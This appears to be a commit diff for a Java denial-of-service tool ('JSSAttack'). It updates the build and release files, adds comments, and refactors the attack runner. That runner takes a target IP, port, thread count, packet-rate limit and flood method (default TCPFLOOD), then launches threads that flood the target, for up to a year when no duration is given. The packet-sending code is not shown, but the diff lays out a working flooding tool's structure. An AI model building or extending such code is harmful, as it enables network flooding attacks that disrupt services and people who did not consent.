some codes fixed

Author: tester2024

.github/workflows/release.yml

@@ -72,7 +72,7 @@ jobs:
         env:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
         with:
-          upload_url: ${{ steps.create_release.outputs.upload_url }}
+          upload_url: ${{ needs.release.outputs.upload_url }}
           asset_path: ./target/${{ steps.set_output_path.outputs.path }}
           asset_name: ${{ steps.set_output_path.outputs.path }}
           asset_content_type: application/java-archive

pom.xml

@@ -11,8 +11,7 @@
     <properties>
         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
         <maven.compiler.source>17</maven.compiler.source>
-        <maven.compiler.target>8</maven.compiler.target>
-        <exec.mainClass>ir.xenoncommunity.xenontools.Main</exec.mainClass>
+        <maven.compiler.target>17</maven.compiler.target>
     </properties>
 
     <repositories>
@@ -49,7 +48,7 @@
                     <configuration>
                         <archive>
                             <manifest>
-                                <mainClass>ir.xenoncommunity.xenontools.Main</mainClass>
+                                <mainClass>ir.xenoncommunity.jss.Main</mainClass>
                             </manifest>
                         </archive>
                     </configuration>

src/main/java/ir/xenoncommunity/jss/JSSAttack.java

@@ -16,10 +16,16 @@
 @Getter
 @RequiredArgsConstructor
 public class JSSAttack implements Runnable {
-    public final TaskManager taskManager = new TaskManager();
     public final CommandLineParser parser;
     public boolean isDebug;
 
+    /**
+     * Returns the appropriate attack method based on the provided method, byte size, and attack statics.
+     * @param method the attack method
+     * @param byteSize the size of the attack in bytes
+     * @param attackStatics the attack statics
+     * @return the appropriate attack method
+     */
     @NotNull
     private static IAttackMethod getMethod(String method, Integer byteSize, AttackStatics attackStatics) {
         return switch (method) {
@@ -32,8 +38,12 @@ private static IAttackMethod getMethod(String method, Integer byteSize, AttackSt
         };
     }
 
+    /**
+     * Runs the attack with the specified parameters.
+     */
     @SneakyThrows
     public void run() {
+        // Parse command line arguments
         this.isDebug = this.parser.get("--debug", Boolean.class, false);
         final String ip = this.parser.get("--ip", String.class, null);
         final Integer port = this.parser.get("--port", Integer.class, -1);
@@ -44,12 +54,14 @@ public void run() {
         final String method = this.parser.get("--method", String.class, "TCPFLOOD");
         final Boolean verbose = this.parser.get("--verbose", Boolean.class, false);
 
+        // Set logging level based on verbosity and debug mode
         if (verbose) {
             Logger.setCurrentLevel(Logger.LEVEL.VERBOSE);
         } else if (this.isDebug) {
             Logger.setCurrentLevel(Logger.LEVEL.DEBUG);
         }
 
+        // Log debug information if debug mode is enabled
         if (this.isDebug()) {
             Logger.setSection("DEBUG");
             Logger.log(Logger.LEVEL.INFO, "IP is: " + ip);
@@ -58,11 +70,16 @@ public void run() {
             Logger.log(Logger.LEVEL.INFO, "ByteSize is: " + byteSize);
         }
 
+        // Initialize task manager
+        TaskManager taskManager = new TaskManager(maxThreads);
+
+        // Initialize attack parameters
         final AttackStatics attackStatics = new AttackStatics(ppsLimit);
         final IAttackMethod attackMethod = getMethod(method, byteSize, attackStatics);
         final InetAddress addr = InetAddress.getByName(ip);
         final LocalTime endTime = LocalTime.now().plus(Duration.ofSeconds(duration));
 
+        // Start the attack and log thread creation
         Logger.setSection("ATTACK");
         for (int i = 0; i <= maxThreads; i++) {
             Logger.log(Logger.LEVEL.DEBUG, "Adding new thread. Max: " + maxThreads);
@@ -78,8 +95,10 @@ public void run() {
             });
         }
 
+        // Log start of attack
         Logger.log(Logger.LEVEL.INFO, "Attacking...");
 
+        // Add task to print attack statistics if verbose mode is enabled
         if (verbose) {
             taskManager.add(() -> {
                 while (LocalTime.now().isBefore(endTime)) {
@@ -93,6 +112,7 @@ public void run() {
             });
         }
 
+        // Perform attack for specified duration or indefinitely
         if (duration == -1) {
             taskManager.doTasks(TimeUnit.DAYS, 365);
             Logger.log(Logger.LEVEL.INFO, "Happy new year!");

src/main/java/ir/xenoncommunity/jss/Main.java

@@ -3,8 +3,15 @@
 import ir.xenoncommunity.jss.utils.CommandLineParser;
 
 public class Main {
+    /**
+     * Entry point of the program
+     *
+     * @param args The command line arguments
+     */
     public static void main(String[] args) {
+        // Create a JSSAttack object with the command line arguments
         JSSAttack runner = new JSSAttack(new CommandLineParser(args));
+        // Run the JSSAttack program
         runner.run();
     }
 }

src/main/java/ir/xenoncommunity/jss/utils/TaskManager.java

@@ -5,7 +5,11 @@
 import java.util.concurrent.TimeUnit;
 
 public class TaskManager {
-    public ExecutorService tasks = Executors.newFixedThreadPool(1000);
+    public final ExecutorService tasks;
+
+    public TaskManager(Integer maxThreads) {
+        tasks = Executors.newFixedThreadPool(maxThreads);
+    }
 
     public void add(final Runnable threadIn) {
         tasks.submit(threadIn);